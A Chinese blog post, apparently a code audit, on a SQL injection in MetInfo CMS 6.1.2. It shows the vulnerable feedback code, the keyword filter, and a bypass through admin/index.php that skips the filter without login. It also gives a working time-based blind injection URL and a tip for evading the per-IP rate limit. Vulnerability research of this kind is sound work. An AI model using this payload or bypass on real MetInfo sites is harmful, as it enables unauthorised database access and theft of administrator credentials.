0x01 前言

这个本来是也不想放出来的,因为metinfo这套cms毕竟使用人数还是挺多的,影响范围也很广。但是一位仁兄已经把另一个无条件的触发点放出来了,那我这个稍微有点条件的藏着掖着也没啥意思,不如好洞成双,也给好久没更的博客除下草。

0x02 漏洞分析

漏洞文件:\app\system\feedback\web\feedback.class.php
漏洞函数:add   75行

public function add($info) {
  global $_M;
  $query="select * from {$_M[table][config]} where name ='met_fd_ok' and columnid='{$_M[form][id]}' and lang='{$_M[form][lang]}'";
  echo $query;
  $met_fd_ok=DB::get_one($query);
  $_M[config][met_fd_ok]=$met_fd_ok[value];

  if(!$_M[config][met_fd_ok]){
          okinfo(-1, $_M['word']['Feedback5']);
  }
      if($_M[config][met_memberlogin_code]){
    if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code']) ){
          okinfo(-1, $_M['word']['membercode']);
    }
  }
  if($this->checkword() && $this->checktime()){
    foreach ($_FILES as $key => $value) {
      if($value[tmp_name]){
              $ret = $this->upfile->upload($key);//上传文件
            if ($ret['error'] == 0) {
          $info[$key]=$ret[path];
      } else {
          okinfo('javascript:history.back();',$_M[word][opfailed]);
      }
    }
  }
  $user = $this->get_login_user_info();
  $fromurl= $_M['form']['referer'] ? $_M['form']['referer'] : HTTP_REFERER;
  $ip=getip();

  $feedcfg=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}'and name='met_fd_class' and columnid ='{$_M[form][id]}'");
      $_M[config][met_fd_class]=$feedcfg[value];
  $fdclass2="para".$_M[config][met_fd_class];
  $fdclass=$_M[form][$fdclass2];
  $title=$fdclass." - ".$_M[form][fdtitle];
  $addtime=date('Y-m-d H:i:s',time());
  $met_fd_type=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and  name= 'met_fd_type' and columnid = {$_M[form][id]}");

代码块的最后一行可以看到{$_M[form][id]} 没有单引号保护,因为mysql也有和php类似的弱类型特性,所以 在id参数引号内拼接注入语句后不影响前面的语句的查询结果:

——————

到代码块的最后一行语句中失去了单引号保护,注入payload生效。

以为这样就直接能注入了吗? 怎么可能!!!

在class文件头部可以看到feedback类继承于web类,

class feedback extends web

跟进web类,没有对用户传入的数据进行过滤等操作,却初始化了common类

class web extends common

在common类初始化时调用了表单过滤的函数load_form()

class common {

  /**
    * 初始化
    */
  public function __construct() {
    global $_M;//全局数组$_M
    ob_start();//开启缓存
    $this->load_mysql();//数据库连接
    $this->load_form();//表单过滤
    $this->load_lang();//加载语言配置
    $this->load_config_global();//加载全站配置数据
    $this->load_url_site();
    $this->load_config_lang();//加载当前语言配置数据
    $this->load_url();//加载url数据
  }

此函数中又调用了过滤SQL注入的函数sqlinsert

function sqlinsert($string){
  if(is_array($string)){
    foreach($string as $key => $val) {
      $string[$key] = sqlinsert($val);
    }
  }else{
    $string_old = $string;
    $string = str_ireplace("\\","/",$string);
    $string = str_ireplace("\"","/",$string);
    $string = str_ireplace("'","/",$string);
    $string = str_ireplace("*","/",$string);
    $string = str_ireplace("%5C","/",$string);
    $string = str_ireplace("%22","/",$string);
    $string = str_ireplace("%27","/",$string);
    $string = str_ireplace("%2A","/",$string);
    $string = str_ireplace("~","/",$string);
    $string = str_ireplace("select", "\sel\ect", $string);
    $string = str_ireplace("insert", "\ins\ert", $string);
    $string = str_ireplace("update", "\up\date", $string);
    $string = str_ireplace("delete", "\de\lete", $string);
    $string = str_ireplace("union", "\un\ion", $string);
    $string = str_ireplace("into", "\in\to", $string);
    $string = str_ireplace("load_file", "\load\_\file", $string);
    $string = str_ireplace("outfile", "\out\file", $string);
    $string = str_ireplace("sleep", "\sle\ep", $string);
    $string = strip_tags($string);
    if($string_old!=$string){
      $string='';
    }
    $string = trim($string);
  }
  return $string;
}

想绕过这层过滤是比较难的,那怎么解决呢?

所谓大路不通走小路,我们独辟蹊径。


在load_form()中,是daddslashes()调用sqlinsert()过滤sql注入,既然sqliinsert()bypass不太ok,那就看能不能影响语句执行不调用此函数。

function daddslashes($string, $force = 0) {
  !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
  if(!MAGIC_QUOTES_GPC || $force) {
    if(is_array($string)) {
      foreach($string as $key => $val) {
        $string[$key] = daddslashes($val, $force);
      }
    } else {
      if(!defined('IN_ADMIN')){
        $string = trim(addslashes(sqlinsert($string)));
      }else{
        $string = trim(addslashes($string));
      }
    }
  }
  return $string;
}

在函数的第二个判断中如果defined(‘IN_ADMIN’)不为true就不会走到恶臭的sqlinsert函数,找一个将IN_ADMIN定义为true的php文件就能解决问题。

在admin目录index文件第一行就是把IN_ADMIN定义为true,我们还可以通过此文件动态调用存在漏洞的函数,最最重要的无需任何权限就OK

<?php
define('IN_ADMIN', true);
$M_MODULE='admin';
if(@$_GET['m'])$M_MODULE=$_GET['m'];
if(@!$_GET['n'])$_GET['n']="index";
if(@!$_GET['c'])$_GET['c']="index";
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';
?>

那么最终payload为:

http://localhost/admin/index.php?m=web&n=feedback&c=feedback&a=dofeedback&action=add&lang=cn&id=44%20and%20sleep(1)&para141=%E5%95%86%E5%8A%A1%E5%90%88%E4%BD%9C

这里还有一个点就是程序会根据IP来限制只能120秒提交一次反馈,用xff头绕过就可以,具体判断代码就不贴出来了

那么这个洞相比另一个鸡肋在哪呢? 在判断验证码是否正确的上下区间。。 另一个洞是在注入点后判断验证码是否正确,这就可以无视掉验证码,但这个洞是在注入点之前。

这就很难受

管理员在后台关闭提交验证码的条件下才能用脚本注入。

当然,开启的情况下也能注入,就是得每次手动提交验证码,在只能盲注的情况下实在比较尴尬。


还有finecms一个洞本来说上个月更的。

没错

我又鸽了

过两天。

2 thoughts on “[代码审计]Metinfo 6.1.2 SQL注入”

  1. 当初又一次CTF就是用这个点,手动时间盲注获取管理员的密码的,每次输入验证码,然后用返回值的int作为sleep的参数,利用时间进行判断

发表评论

电子邮件地址不会被公开。 必填项已用*标注

Are you human? Click the Pineapple...